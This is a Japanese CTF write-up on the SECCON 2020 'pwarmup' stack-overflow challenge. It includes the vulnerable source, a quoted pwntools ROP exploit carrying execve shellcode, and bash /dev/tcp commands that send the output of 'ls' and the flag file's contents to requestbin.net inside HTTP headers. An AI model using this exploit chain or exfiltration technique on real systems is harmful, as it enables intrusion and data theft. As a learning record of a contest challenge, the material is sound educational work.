SECCON 2020 の pwn 問題を復習する①

Sat Oct 17 2020

    10/10-11 で開催された SECCON 2020 の pwn 問を復習します。

    pwarmup

    問題

    main.c
    #include <unistd.h>
    #include <stdio.h>
    
    int main(void) {
      char buf[0x20];
      puts("Welcome to Pwn Warmup!");
      scanf("%s", buf);
      fclose(stdout);
      fclose(stderr);
    }
    
    __attribute__((constructor))
    void setup(void) {
      setvbuf(stdin, NULL, _IONBF, 0);
      setvbuf(stdout, NULL, _IONBF, 0);
      setvbuf(stderr, NULL, _IONBF, 0);
      alarm(60);
    }

    コンテスト中に試したこと

    まず最初に alarm 機能はデバッグの邪魔なので、dhex を使って NOP で書き換えました。 pwntools で実行ファイルを確認すると、

        Arch:     amd64-64-little
        RELRO:    No RELRO
        Stack:    No canary found
        NX:       NX disabled
        PIE:      No PIE (0x400000)
        RWX:      Has RWX segments
    

    という感じでなんでもできそう。 なので、scanf で /bin/sh を呼び出すコードを rsp 上に書き込んで call rsp の命令箇所に飛べばいいと考えた。 つまり scanf で書き込んだあとの rbp を

    $rbp:    AAAAAAAA             /* leave で $rbp に入る値、なんでもいい (ちなみに leave で $rsp に $rbp+8 が入る) */
    $rbp+8:  address to call rsp  /* return で飛ぶアドレスを指定、今回は call rsp のアドレス*/
    $rbp+16: shellcode            /* return の後で $rsp が指すアドレス、ここに shellcode をおく */
    

    としてあげればいい。 しかし、rp++ を使ってみると、

    rp-lin-x64 -f ./chall --rop=1 --unique | grep "rsp"
    0x00400562: add rsp, 0x08 ; ret  ;  (2 found)
    0x004007ca: call qword [rsp+rbx*8] ;  (1 found)
    0x004007c5: test byte [rcx+rcx*4-0x11], 0x00000041 ; call qword [rsp+rbx*8] ;  (1 found)

    となっており、そもそも call rsp の命令が存在せず (call [rsp] はあったが)、手詰まりとなってしまった…

    復習

    他の方々の writeup を眺めた。

    前者のほうが汎用性が高そうなので、そっちを重点的に見た。 以下のコードは https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1#pwarmup-warmup の引用。

    attack.py
    from pwn import *
    
    s = remote("pwn-neko.chal.seccon.jp", 9001)
    elf = ELF("chall")
    context.binary = elf
    
    rop = ROP(elf)
    # scanf("%s", 0x600000)
    rop.call(0x4005c0, [next(elf.search(b"%s")), 0x600000])
    rop.call(0x600000)
    s.sendlineafter(
      "Welcome to Pwn Warmup!\n",
      b"a"*0x28+rop.chain())
    
    # http://shell-storm.org/shellcode/files/shellcode-806.php
    s.sendline(
      "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53"
      "\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
    
    s.interactive()

    pwntools の ROP を使うとこんな簡潔に書けるのか… 0x4005c0 は scanf のアドレスで、 main 関数内の call sym.imp.__isoc99_scanf のアドレスではなく、 sym.imp.__isoc99_scanf のアドレス。

    一応 rop.chain() の内容を gdb を使って確認すると、

    gdb-peda$ x/16x $rbp
    0x7fffffffe2a0:	0x41414141	0x41414141	0x004007e3	0x00000000
    0x7fffffffe2b0:	0x0040081b	0x00000000	0x004007e1	0x00000000
    0x7fffffffe2c0:	0x00600000	0x00000000	0x61616169	0x6161616a
    0x7fffffffe2d0:	0x004005c0	0x00000000	0x00600000	0x00000000
    

    となっていた。やっていることは、

    • 0x4007e3 (pop rdi) に飛び、 0x40081b (%s) を rdi に代入
    • 0x4007e1 (pop rsi) に飛び、 0x600000 を rsi に代入
    • 0x4007e2 (pop r15) に rip が移り、 0x6161... のダミーな変数を r15 に代入
    • 0x4005c0 に飛び scanf、そこで shellcode を 0x600000 に格納
    • ret で 0x600000 へ、 shellcode の実行

    という流れである。 ROP 便利だ… (よく忘れるのでメモ、leave は mov rsp, rbp pop rbp の組み合わせ、 ret は pop したアドレスに JMP https://vanya.jp.net/os/x86call/)

    これでシェルを奪うことができる。 しかし、ここからが難しいところらしく (自分はここにすらたどり着けなかったが)、 stdout が閉じられているので ls などを叩いても結果が返ってこない。

    http://yuta1024.hateblo.jp/entry/2020/10/11/184928 によると、 bash には /dev/tcp/${host}/${port} に書き込むことで nc と同等のことができる機能があるらしい (https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1#pwarmup-warmup によると、 nc が入っていないっぽくて ls -al | nc ${host} ${port} とかはできないらしい)。 requestbin.net という http request を記録できる便利なツールがあるらしいのでそれを使ってみる。 使い方は https://www.softantenna.com/wp/webservice/request-bin/ を参考にしました。

    リクエストに使うコマンドは http://yuta1024.hateblo.jp/entry/2020/10/11/184928 を参考にして↓のようにしたら、うまく動きました。

    bash
    exec 3<> /dev/tcp/requestbin.net/80
    echo -e "GET /r/TOKEN_NAME HTTP/1.1\nHost: requestbin.net\nX-CTF: $(ls|base64)\nConnection: close\n" >&3
    cat <&3

    これを奪ったシェルで入力し、 http://requestbin.net/r/TOKEN_NAME?inspect をみると、 X-CTF に ls|base64 の結果が出力されている: Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK

    echo "Y2hhbGwKZmxhZy1lNjk1MWRmMDQwMGFkZDZhNmI1YmUxMWYyNWI4MGNlYS50eHQKcmVkaXIuc2gK" | base64 -d
    chall
    flag-e6951df0400add6a6b5be11f25b80cea.txt
    redir.sh
    

    flag-*.txt が該当するファイルと思われるので、 cat で覗く。

    bash
    exec 3<> /dev/tcp/requestbin.net/80
    echo -e "GET /r/TOKEN_NAME HTTP/1.1\r\nHost: requestbin.net\r\nX-CTF: $(cat flag-e6951df0400add6a6b5be11f25b80cea.txt)\r\nConnection: close\r\n\r\n" >&3
    cat <&3

    すると、フラグが見れた。

    SECCON{1t's_g3tt1ng_c0ld_1n_j4p4n_d0n't_f0rget_t0_w4rm-up}

    学んだこと

    • pwntools の ROP
    • /dev/tcp
    • ファイルディスクリプタ (/dev/fd/*)
    • requestbin.net

    追記

    https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127#pwn-123pts-pwarmup-63-solves の writeup (作者想定解?) を見つけました。 /dev/tcp/ など使わなくても、 ls>&0 のように標準入力に出力するようにする (?) と実行結果が表示されました。

    参考

    https://qiita.com/kusano_k/items/0ec2a09483eaa7b900d1 http://yuta1024.hateblo.jp/entry/2020/10/11/184928 https://ptr-yudai.hatenablog.com/entry/2020/10/11/213127#pwn-123pts-pwarmup-63-solves https://vanya.jp.net/os/x86call/